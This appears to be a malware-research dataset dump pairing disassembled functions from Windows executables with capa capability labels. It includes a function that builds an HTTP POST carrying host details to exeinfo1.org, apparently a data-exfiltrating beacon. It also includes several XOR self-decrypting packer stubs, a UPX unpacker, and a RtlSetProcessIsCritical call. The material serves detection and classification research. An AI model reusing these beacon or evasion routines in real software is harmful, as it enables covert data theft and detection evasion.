joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403ed2
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.00404340
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dac4], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x40409b
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40dac4]
call fcn.0040370b
call fcn.004037b1
call fcn.00403a09
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.00404260
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eac8], edi
jbe 0x403f85
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40dac8]
push eax
push str._02x
push dword [ebp - 4]
call fcn.004042b8
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eac8]
jb 0x403f60
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.00404260
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.00404260
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.00404260
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403df1
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.00404260
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403b37
mov esi, 0x40b078
push esi
call fcn.004041e0
mov edi, eax
lea eax, [ebp - 0x484]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.004041e0
add edi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.004041e0
lea ecx, [ebp - 0x44]
lea eax, [edi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push esi
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_s_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.004042b8
add esp, 0x48
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x6312b8
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x6350a0
push edi
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
dec dword [esi + 0xc]
lea eax, [ebp - 4]
push eax
push dword [esi]
call fcn.006311ad
test eax, eax
jne 0x631323
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x631340
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RegQueryValueExW]
test eax, eax
jne 0x631323
cmp dword [ebp - 0x10], 4
jne 0x631323
cmp dword [ebp - 8], 1
jne 0x631323
cmp dword [esi + 0xc], ebx
je 0x63136e
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x63133b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RegCloseKey]
leave
ret 4
lea eax, [ebp + 8]
push eax
mov eax, dword [esi + 4]
mov dword [ebp + 8], ebx
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
test eax, eax
je 0x631323
mov eax, dword [esi + 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 4]
mov dword [eax + 8], ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
jmp 0x631323
Function at 0x6325d1
Capabilities:
Access pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
xor ebx, ebx
push edi
xor edi, edi
inc ebx
cmp eax, edi
jne 0x632d32
mov eax, dword [esi + 0x30]
cmp eax, edi
jne 0x63303e
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 8]
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, edi
je 0x632616
push dword [eax + 0x64]
call dword [sym.imp.RPCRT4.dll_RpcMgmtSetServerStackSize]
cmp dword [esi + 0x34], edi
jne 0x6332d7
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 4
test byte [esi + 0x38], bl
jne 0x6332c4
push ebx
lea ecx, [esi + 0x20]
push ecx
push dword [esi + 0x1c]
push dword [esi + 0x18]
push dword [esi + 0x14]
push eax
call fcn.00632d61
test eax, eax
jne 0x6325ec
jmp 0x6332bd
shl eax, 0xa
push eax
jmp 0x632610
xor eax, eax
jmp 0x63262b
push 4
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x6325ec
jmp 0x6332bd
push ebx
push edi
push ebx
call dword [sym.imp.ntdll.dll_RtlSetProcessIsCritical]
add esp, 0xc
jmp 0x63261f

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x44053598
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6a1d4485
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x5c5d5816
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x7243458
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret
Function at 0x5c61e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9a000]
push edi
jmp 0x5c61fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5c6201
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c61f0
mov eax, 1
add ebx, ebx
jne 0x5c6213
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5c6224
jne 0x5c6243
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c6243
dec eax
add ebx, ebx
jne 0x5c6230
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5c6208
add ebx, ebx
jne 0x5c623f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5c6295
xor ecx, ecx
sub eax, 3
jb 0x5c625b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5c62ca
sar eax, 1
mov ebp, eax
jmp 0x5c6266
add ebx, ebx
jne 0x5c6266
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c6234
inc ecx
add ebx, ebx
jne 0x5c6274
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c6234
add ebx, ebx
jne 0x5c6281
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5c6276
jne 0x5c6292
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5c6276
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5c62b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5c62a6
jmp 0x5c61f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5c62b4
add edi, ecx
jmp 0x5c61f6
pop esi
mov edi, esi
mov ecx, 0x36f5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5c62d2
cmp byte [edi], 0x24
jne 0x5c62d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5c62d7
lea edi, [esi + 0x1c3000]
mov eax, dword [edi]
or eax, eax
je 0x5c634f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c8730]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c8834]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5c6304
mov ecx, edi
jns 0x5c6333
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c8838]
or eax, eax
je 0x5c6349
mov dword [ebx], eax
add ebx, 4
jmp 0x5c6321
call dword [esi + 0x1c8848]
mov ebp, dword [esi + 0x1c883c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5c6383
sub esp, 0xffffff80
jmp 0x4595e0
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x40384c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46c020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4038e4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4038c4
xor eax, eax
push ebp
push 0x4038bd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403900
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4038c4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x46c020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46c020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4046e0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46f048], 0
je 0x404741
cmp word [0x46f21c], 0xd7b2
jne 0x404709
cmp dword [0x46f224], 0
jbe 0x404709
mov eax, 0x46f218
call dword [0x46f234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404768
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46c02c], 0
jne 0x40475d
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405bd4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e04
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405c57
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e04
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405c57
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e20
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405ce0
xor eax, eax
push ebp
push 0x405cd9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405a10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405cbe
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405e40
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405cbe
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ce0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405dfa
cmp byte [ebp - 0xd], 0
jne 0x405d27
cmp byte [ebp - 0x12], 0
je 0x405dfa
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405d40
dec ebx
cmp byte [ebx], 0x2e
je 0x405d4f
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405d3f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405dfa
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405d8c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405dfa
cmp byte [ebp - 0xd], 0
je 0x405dfa
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405dfa
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408458
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4084aa
test eax, edx
je 0x4084ad
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x40846d
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x408493
add ecx, 4
js 0x408483
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x408490
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x4084b9
test edx, edx
jne 0x408460
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40ba10
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ba49
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404950
jmp 0x40ba52
mov eax, ebx
mov edx, esi
call fcn.004048b4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ba5c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ba7e
movzx eax, byte [esp]
jmp 0x40ba80
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c110
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bf88
mov eax, dword [0x46ded4]
cmp byte [eax], 0
je 0x40c18c
mov eax, dword [0x46dc64]
call fcn.00403214
call fcn.00402fd4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409134
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c1d4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c1c2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x46dbe4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4717f4]
call fcn.004059b8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ca38
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cb0e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004048f8
lea eax, [ebp - 4]
call fcn.00404d48
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404cf0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40caf8
mov eax, ebx
call fcn.00402e78
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40caf1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404cf0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cadb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cb20
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cadb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40caf8
mov eax, dword [ebp - 0x10]
call fcn.00402e94
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cb15
lea eax, [ebp - 4]
call fcn.00404860
ret

Function at 0x41bda8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4739e8
cmp dword [edi], 0
jne 0x41be24
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4739e4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x46cad4
mov ecx, 2
call fcn.00403068
mov edx, 0x41bd80
lea eax, [esi + 5]
call fcn.0041bda0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041bda0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41bdf9
mov dword [0x4739e4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41e62c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404cf0
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41e684
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x46e060]
mov dl, 1
mov eax, dword [0x41e138]
call fcn.0040c2d0
call fcn.004042a8
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041e240
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41f4e0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41f4e6
ret